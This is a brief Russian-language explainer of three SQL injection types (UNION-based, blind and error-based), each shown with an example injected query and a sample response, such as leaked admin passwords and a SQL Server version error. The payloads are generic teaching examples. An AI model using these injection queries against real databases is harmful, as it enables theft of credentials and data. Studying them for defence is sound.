Типы SQL-инъекций с примером запросов и ответами

1. UNION SQL инъекция:

Пример запроса:

SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admins--

Ответ:

John Doe | [email protected]
Admin | admin123

2. Blind SQL инъекция:

Пример запроса:

SELECT name FROM users WHERE id = 1 AND substring((SELECT password FROM users WHERE id = 1), 1, 1) = 'a'

Ответ:

True

3. Error-based SQL инъекция:

Пример запроса:

SELECT name FROM users WHERE id = 1 AND 1=convert(int, (SELECT @@version))

Ответ:

Conversion failed when converting the varchar value 'Microsoft SQL Server' to data type int.